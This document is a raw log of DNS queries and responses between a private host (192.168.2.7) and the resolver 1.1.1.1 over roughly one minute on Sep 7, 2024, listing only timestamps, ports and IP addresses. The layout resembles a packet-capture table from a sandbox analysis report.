Sep 7, 2024 15:30:35.265979052 CEST	53	60999	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:35.273224115 CEST	56220	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:35.379317045 CEST	53	56220	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:35.492124081 CEST	51366	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:35.731004000 CEST	53	51366	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:35.733120918 CEST	64266	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:35.975068092 CEST	53	64266	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:36.088912010 CEST	62960	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:36.195852995 CEST	53	62960	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:36.205321074 CEST	55970	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:36.443219900 CEST	53	55970	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:36.554425955 CEST	52173	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:36.567778111 CEST	53	52173	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:37.676991940 CEST	51059	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:37.709270954 CEST	53	51059	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:38.881620884 CEST	56916	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:38.898297071 CEST	53	56916	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:38.904098034 CEST	49926	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:38.912764072 CEST	53	49926	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:39.020730019 CEST	62662	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:39.046444893 CEST	53	62662	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:40.176995993 CEST	55554	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:40.416065931 CEST	53	55554	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:40.431934118 CEST	60221	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:40.529186010 CEST	53	60221	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:40.647018909 CEST	57146	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:40.748307943 CEST	53	57146	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:40.753501892 CEST	59048	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:40.994342089 CEST	53	59048	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:41.098968983 CEST	50610	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:41.343897104 CEST	53	50610	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:41.346548080 CEST	50552	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:41.581820011 CEST	53	50552	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:41.699954033 CEST	63463	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:41.938705921 CEST	53	63463	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:41.941060066 CEST	57590	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:42.049854040 CEST	53	57590	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:42.161989927 CEST	56825	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:42.338666916 CEST	53	56825	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:42.342653990 CEST	54319	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:42.502003908 CEST	53	54319	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:42.614453077 CEST	61496	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:42.649900913 CEST	53	61496	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:42.652250051 CEST	58366	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:42.687021017 CEST	53	58366	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:42.802141905 CEST	53857	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:42.832093954 CEST	53	53857	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:43.990804911 CEST	56270	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:44.268116951 CEST	53	56270	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:44.270524979 CEST	55716	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:44.301819086 CEST	53	55716	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:44.411815882 CEST	59425	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:44.514862061 CEST	53	59425	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:44.517555952 CEST	53504	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:44.621519089 CEST	53	53504	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:44.725215912 CEST	56601	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:45.554909945 CEST	53	56601	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:45.559648037 CEST	62103	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:45.661353111 CEST	53	62103	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:45.773921967 CEST	57140	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:45.878169060 CEST	53	57140	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:45.881407976 CEST	65470	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:46.089044094 CEST	53	65470	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:46.192650080 CEST	55325	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:46.305075884 CEST	53	55325	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:46.307212114 CEST	60173	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:46.546202898 CEST	53	60173	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:46.677050114 CEST	62435	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:46.844806910 CEST	53	62435	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:46.849944115 CEST	50510	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:47.111457109 CEST	53	50510	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:47.224889040 CEST	55808	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:47.244102955 CEST	53	55808	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:48.396296978 CEST	56923	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:48.632549047 CEST	53	56923	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:48.634784937 CEST	63626	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:48.739993095 CEST	53	63626	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:48.849281073 CEST	62713	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:48.861888885 CEST	53	62713	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:48.864634991 CEST	50511	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:48.884993076 CEST	53	50511	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:48.989458084 CEST	54218	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:49.232460022 CEST	53	54218	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:49.234700918 CEST	55833	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:49.566232920 CEST	53	55833	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:49.677427053 CEST	57898	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:49.855623007 CEST	53	57898	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:49.857882023 CEST	64212	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:50.103351116 CEST	53	64212	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:50.208575964 CEST	63403	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:50.237368107 CEST	53	63403	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:50.242454052 CEST	52908	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:50.284845114 CEST	53	52908	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:50.395800114 CEST	64799	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:50.874473095 CEST	53	64799	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:50.877784967 CEST	57784	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:51.122528076 CEST	53	57784	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:51.239650011 CEST	63724	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:51.287139893 CEST	53	63724	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:52.458416939 CEST	64993	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:52.500221014 CEST	53	64993	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:52.503223896 CEST	61854	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:52.562566042 CEST	53	61854	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:52.681413889 CEST	52127	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:53.060902119 CEST	53	52127	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:53.064202070 CEST	58369	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:53.309266090 CEST	53	58369	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:53.411627054 CEST	61867	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:53.759243965 CEST	53	61867	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:53.762901068 CEST	62583	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:54.002321959 CEST	53	62583	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:54.114543915 CEST	62400	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:54.146363974 CEST	53	62400	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:54.148607969 CEST	51644	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:54.183798075 CEST	53	51644	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:54.303690910 CEST	63860	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:54.713918924 CEST	53	63860	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:54.716125011 CEST	54100	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:55.692540884 CEST	53	54100	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:55.802047968 CEST	58249	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:55.811225891 CEST	53	58249	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:55.815061092 CEST	63557	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:55.826092958 CEST	53	63557	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:55.942570925 CEST	63721	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:55.967360020 CEST	53	63721	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:55.970300913 CEST	54910	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:55.979708910 CEST	53	54910	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:56.086030006 CEST	63141	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:56.348294973 CEST	53	63141	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:56.351835012 CEST	50677	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:56.388345003 CEST	53	50677	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:56.505157948 CEST	60793	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:56.514491081 CEST	53	60793	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:56.516629934 CEST	62794	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:56.528318882 CEST	53	62794	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:56.630793095 CEST	56258	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:56.799134970 CEST	53	56258	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:56.801913977 CEST	57256	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:56.965039968 CEST	53	57256	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:57.083477020 CEST	49899	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:57.093636990 CEST	53	49899	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:57.096030951 CEST	59706	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:57.105243921 CEST	53	59706	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:57.209022999 CEST	56758	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:57.304840088 CEST	53	56758	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:57.399427891 CEST	61593	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:58.251174927 CEST	53	61593	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:58.364523888 CEST	59176	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:58.399993896 CEST	53	59176	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:58.404886007 CEST	55363	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:58.413539886 CEST	53	55363	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:58.521003962 CEST	59185	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:58.531356096 CEST	53	59185	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:58.537699938 CEST	49778	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:58.547463894 CEST	53	49778	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:58.663430929 CEST	60921	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:58.940390110 CEST	53	60921	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:58.942924976 CEST	65340	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:59.200999975 CEST	53	65340	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:59.318244934 CEST	52093	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:59.363632917 CEST	53	52093	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:00.521815062 CEST	56063	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:00.759135008 CEST	53	56063	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:00.765147924 CEST	49975	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:01.098414898 CEST	53	49975	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:01.208710909 CEST	53311	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:01.479386091 CEST	53	53311	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:01.484157085 CEST	53161	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:01.522032976 CEST	53	53161	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:01.636122942 CEST	65207	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:01.648216963 CEST	53	65207	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:01.651432037 CEST	51895	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:01.660686970 CEST	53	51895	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:01.771421909 CEST	64716	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:02.013360023 CEST	53	64716	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:02.016279936 CEST	65419	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:02.112747908 CEST	53	65419	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:02.224204063 CEST	50117	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:02.462491035 CEST	53	50117	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:02.464510918 CEST	61874	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:02.701462030 CEST	53	61874	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:02.818068981 CEST	65382	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:02.832437992 CEST	53	65382	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:04.005703926 CEST	61392	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:04.016625881 CEST	53	61392	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:05.226316929 CEST	49619	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:05.238852978 CEST	53	49619	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:06.380235910 CEST	50371	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:06.553786993 CEST	53	50371	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:06.564615965 CEST	62725	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:06.600001097 CEST	53	62725	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:06.708326101 CEST	61713	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:06.745147943 CEST	53	61713	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:06.749038935 CEST	54065	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:06.792629957 CEST	53	54065	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:06.912085056 CEST	51877	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:06.921857119 CEST	53	51877	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:08.292016983 CEST	56515	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:08.544401884 CEST	53	56515	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:08.547801971 CEST	65426	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:08.556555986 CEST	53	65426	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:08.661412954 CEST	61650	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:08.704444885 CEST	53	61650	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:08.706701994 CEST	55272	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:09.031028986 CEST	53	55272	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:09.154367924 CEST	55130	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:09.203609943 CEST	53	55130	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:09.219383955 CEST	57433	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:09.255072117 CEST	53	57433	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:09.365112066 CEST	52651	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:09.462621927 CEST	53	52651	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:09.464850903 CEST	64662	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:09.560578108 CEST	53	64662	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:09.677937984 CEST	52238	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:10.200198889 CEST	53	52238	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:10.202347994 CEST	55985	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:10.238383055 CEST	53	55985	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:10.348912001 CEST	55976	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:10.360666037 CEST	53	55976	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:10.362624884 CEST	54656	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:10.373591900 CEST	53	54656	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:10.490047932 CEST	59457	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:10.501152039 CEST	53	59457	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:10.503609896 CEST	56693	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:10.512851000 CEST	53	56693	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:10.614521980 CEST	60527	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:10.639559984 CEST	53	60527	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:11.755356073 CEST	50021	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:11.793294907 CEST	53	50021	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:11.796062946 CEST	54361	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:11.868983984 CEST	53	54361	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:11.974078894 CEST	60329	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:12.523369074 CEST	53	60329	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:12.525772095 CEST	63342	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:12.634648085 CEST	53	63342	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:12.739666939 CEST	63827	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:12.769824982 CEST	53	63827	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:12.777106047 CEST	50240	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:12.807190895 CEST	53	50240	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:12.911586046 CEST	65090	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:12.922509909 CEST	53	65090	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:12.925781012 CEST	59181	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:12.937710047 CEST	53	59181	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:13.052746058 CEST	62785	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:13.066006899 CEST	53	62785	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:14.208415031 CEST	62532	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:14.242857933 CEST	53	62532	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:16.302527905 CEST	58257	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:16.310484886 CEST	53	58257	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:17.443090916 CEST	54402	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:17.452846050 CEST	53	54402	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:17.459450960 CEST	59644	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:17.469346046 CEST	53	59644	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:17.584506989 CEST	52294	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:17.596498966 CEST	53	52294	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:18.813275099 CEST	52847	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:18.909964085 CEST	53	52847	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:18.913458109 CEST	54352	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:19.018353939 CEST	53	54352	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:19.130325079 CEST	56454	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:19.165415049 CEST	53	56454	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:19.175614119 CEST	53289	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:19.213213921 CEST	53	53289	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:19.317981958 CEST	58091	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:19.338113070 CEST	53	58091	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:20.491591930 CEST	49911	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:20.530909061 CEST	53	49911	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:20.535614967 CEST	56453	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:20.549817085 CEST	53	56453	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:20.665159941 CEST	58508	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:20.675753117 CEST	53	58508	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:20.683701992 CEST	64692	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:20.700295925 CEST	53	64692	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:20.818861008 CEST	56593	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:20.840142012 CEST	53	56593	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:20.842406988 CEST	56392	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:20.853553057 CEST	53	56392	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:20.959672928 CEST	58197	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:20.972692013 CEST	53	58197	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:20.976901054 CEST	58289	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:20.991934061 CEST	53	58289	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:21.099371910 CEST	63075	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:21.141067028 CEST	53	63075	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:22.333425999 CEST	57666	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:22.371857882 CEST	53	57666	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:22.374011993 CEST	64148	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:22.409122944 CEST	53	64148	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:22.522562981 CEST	56172	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:22.532576084 CEST	53	56172	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:22.534652948 CEST	61613	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:22.543745995 CEST	53	61613	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:22.646157980 CEST	61794	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:22.887800932 CEST	53	61794	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:22.889889956 CEST	55470	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:23.000305891 CEST	53	55470	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:23.114984989 CEST	62361	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:23.125253916 CEST	53	62361	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:23.127969027 CEST	54765	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:23.137882948 CEST	53	54765	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:23.240109921 CEST	59100	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:23.480477095 CEST	53	59100	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:23.486252069 CEST	52580	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:23.723808050 CEST	53	52580	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:23.834005117 CEST	56632	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:23.862760067 CEST	53	56632	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:23.867371082 CEST	57655	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:23.876815081 CEST	53	57655	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:23.997980118 CEST	62503	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:24.033740044 CEST	53	62503	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:24.036319971 CEST	50054	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:24.083039045 CEST	53	50054	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:24.192755938 CEST	56285	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:24.215838909 CEST	53	56285	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:24.217981100 CEST	64239	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:24.227538109 CEST	53	64239	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:24.333514929 CEST	54357	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:24.573142052 CEST	53	54357	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:24.575822115 CEST	55549	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:24.674021006 CEST	53	55549	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:24.786706924 CEST	54154	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:24.806731939 CEST	53	54154	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:25.911948919 CEST	50773	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:25.947115898 CEST	53	50773	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:25.949872017 CEST	52382	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:25.959228039 CEST	53	52382	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:26.068866014 CEST	62166	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:26.171788931 CEST	53	62166	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:26.174609900 CEST	63277	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:26.270456076 CEST	53	63277	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:26.407104969 CEST	57812	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:26.682070971 CEST	53	57812	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:26.687413931 CEST	51342	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:26.950112104 CEST	53	51342	1.1.1.1	192.168.2.7
